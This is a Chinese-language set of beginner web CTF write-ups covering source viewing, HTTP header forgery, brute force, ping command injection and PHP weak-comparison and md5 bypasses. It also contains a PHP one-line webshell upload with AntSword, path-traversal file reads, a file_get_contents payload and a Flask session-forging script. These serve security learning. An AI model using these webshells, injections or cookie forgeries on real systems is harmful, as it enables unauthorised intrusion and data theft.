were is flag?
[思路]
- 查看题目详情,“X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。”意思是让我们进入源代码里查看。
- 按ctrl+u可以进入网页源代码,也可以按F12进入
- 进入后查找flag,发现flag
[总结]
考察网页源代码查看能力
get_post
[题目]
- 查看题目详情,“X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?”网上搜索HTTP通常使用的请求方式
![屏幕截图 2024-06-17 122847](/img/屏幕截图 2024-06-17 122847.png)
得出是使用GET和POST
网页显示让我们用get方式提交一个值,get的提交格式为:/?名称=值
提交后提示再用POST提交一个变量
因为post提交是在body里,所以我们要用到HackBar工具
设置好后点击EXECUTE提交,页面就显示flag了
[总结]
考察GET和POST知识,初步掌握HackBar使用
Robots
[题目]
- 查看题目详情,“X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。”
网上查找robots,
打开robots文件可以看到:
再打开这个php文件:
成功找到flag
[总结]
考察robots协议知识,熟练运用搜索引擎查询相关信息
backup
[题目]
- 查看题目详情,“X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!”
打开网站,发现首页提示我们知不知道index.php备份文件
在网上搜索,得出:
打开LInux,利用dirsearch搜索index.php.bak文件
dirsearch搜索命令:
dirsearch -u [URL] -e [文件后缀]
找的文件后,按下ctrl+c结束运行。在网页输入/index.php.bak,并打开该文件
找到flag。
[总结]
熟练运用搜索引擎,dirsearch初试
cookie
[题目]
- 查看题目详情:“X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’“,打开网页,询问我们cookie是什么,在网上查找:
利用网页查找功能,找到cookie中有个php文件,打开
网页提示我们看看response,网上查找response,得知是响应的意思。打开检查,在网络选项中找到cookie.php,找到响应标头
发现flag
[总结]
掌握cookie知识,熟练使用网页检查
disabled_button
[题目]
- X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
打开网页检查查看网页源代码
发现使用的是html,利用html知识更改input(删除disabled)
发现flag
[总结]
html知识,啥也不是
simple_js
[题目]
- 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
打开网页,提示输入密码,随便乱输
😊
利用burp和Proxy SwitchyOmega进行代理
发现密码在fromCharCod里,通过判断,密码编码方式为base16,利用python进行转换
得到flag
[总结]
学会看js,不会就看wp
xff_referer
[题目]
- X老师告诉小宁其实xff和referer是可以伪造的。
百度xff和referer:
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
利用Hakbar进行伪造xff
网页提示必须来自谷歌,利用referer伪造
找到flag
[总结]
有手就行
weak_auth
[题目]
- 小宁写了一个登陆验证页面,随手就设了一个密码。
打开网页,瞎jb乱填一个账号密码,打开burp
用暴力破解下密码
找到,并登录密码
找到flag
[总结]
没啥好说的
command_execution
[题目]
- 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
百度waf,意思是防火墙,打开网站,ping一下回环地址
输出方式有点眼熟,使用命令拼接的方式输入ls
| 的作用为将前一个命令的结果传递给后一个命令作为输入
&&的作用是前一条命令执行成功时,才执行后一条命令
可行,用find命令查找flag
再用cat命令打开flag
找到flag
[总结]
不会Linux连ping都只能ping百度
simple_php
[题目]
- 小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
打开网页,直接显示php代码,先审计一下
根据不多的php知识,当同时满足$a==0和$a时才会显示flag1
php中有两种比较符号
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
百度php弱比较
在地址栏输入?a=abc
得到flag1,再看flag2的要求,b要大于1234且不能为数值
is_numeric() 判断变量是否为数字或数字字符串,不仅检查10进制,16进制 是可以。 is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值, 而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空 格字符会跳过空格字符判断,接着后面的判断! 在这里b不能为数字或数字字符串,但b的值要大于1234,进行绕过,可以使 用%00进行截断
找到flag
[总结]
不会php和js连网页都看不懂
作业管理系统
[题目]】
- 交作业!!但是哪里不对?
打开网页,首先检查源代码
知道账户密码后,登入
三种解法:
解法 1 文件上传
到功能页面其实可以直接尝试上传文件,发现是没有任何过滤的,所以直接上传一个一句话木马就好:
<?php @eval($_POST[1]); ?>
由于前端页面不显示,上传文件后看不到,但是从上传功能区的 " ./ " 可以得知就是在当前目录
假设木马名字为 1.php 上传完成后 直接访问 url/1.php 即可,当然你也可以使用 WebShell管理工具 进行连接
比如 蚁剑 对于蚁剑的安装配置过程可以参考:https://github.com/ProbiusOfficial/CTF-QuickStart/blob/main/Software_Installation/AntSwordInstallation.md
测试无误后点击添加即可借助一句话木马进行webshell管理:
并且在根目录拿到flag
解法 2 远程下载
远程下载也有多种解法,当然如果上传有黑名单限制 但是远程下载没有 则可以用远程下载去下载PHP木马文件,然后剩余的步骤和上传木马的操作一样 不多做说明。
这里最主要是讲基于file协议直接将根目录文件直接下载到当前目录
点击下载就有下面的选项:
我们点击编辑文件即可直接拿到flag:
![output (1)](/img/output (1).png)
当然这个时候 flag 已经在网页目录了 ,所以我们访问 UR/flag 也可以下载得到flag:
解法 3 直接编辑读取
如果你没有想到 file:// 协议,但是你在上传文件的时候 使用了编辑功能,不妨观察它的Url:
http://node4.anna.nssctf.cn:28090/index.php?op=edit&fename=uploadFileName&folder=./
由于页面所有的操作只有登录这一个鉴权,所有操作都没用敏感目录的过滤(完全没有过滤),所以这个地方我们直接修改路径为根目录,文件名字为flag ?op=edit&fename=flag&folder=/
也可以直接读取。
当然还有其他肯定思路,所以本题目没有预期解,每一个功能点都它的价值。
No System is Safe.
[SWPUCTF 2021 新生赛]jicao
[题目]
- 开始阅览php代码,这里的意思是要用POST的形式提交一个名为id的变量,并赋值为wllmNB,且也要以GET的形式提交一个名为json的参数,且解码为数组。如果id=wllmNB,解码后的json数组中的x的键值对为wllm就可以输出flag的值
- 用hackbar就可以提交POST和GET了
获得flag
[总结]
得先学会php
[SWPUCTF 2021 新生赛]caidao
[题目]
直接给了张图片,上面t提示我们执行以post请求中获得的wllm变量。
- 打开蚁剑,输入url和密码
测试连接,成功
进入,找到根目录的flag文件,获取flag
[总结]
初次使用中国蚁剑,还是得学php,因为还可以构造payload,wllm=var_dump(file_get_contents("/flag"));
[SWPUCTF 2021 新生赛]easy_md5
[题目]
查看php代码,发现变量name和password进行md5弱比较相同后输出flag,由hash漏洞可知,俩数md5加密后开头是0e就可以相等。因为php在进行弱类型比较时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,在进行严格比较(===)时才会先判断字符串类型是否相等
#特殊的md5值
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
强比较
if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//true
var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
md5()函数的描述是string md5(string $str[,bool $raw_output=false])
md5中需要的是一个string参数,但是当你传入一个array(数组)是,md5()是不会报错的,只是无法求出array的md5的值,这样就会导致任意的2个array的md5的值都会相等
传参,获取flag
[第五空间 2021]WebFTP
[题目]
- 用backup爆破用户名密码,得到用户名admin,密码admin888。然后就疯狂找啊,最后在phpinfo.php里发现flag(哪个大好人会放这里啊)
[总结]
太蛋疼了
[LitCTF 2023]Flag点击就送!
[题目]
已知题目类型为cookie伪造,输入正确的用户名(拿字典爆破),打开检查找到session进行伪造
import requests
import string
import subprocess
SECRET_KEY = "LitCTF"
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])
cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node4.anna.nssctf.cn:28821/flag', cookies=cookie)
print(response.text)
拿脚本直接梭哈,获取flag
[总结]
公式做题就是快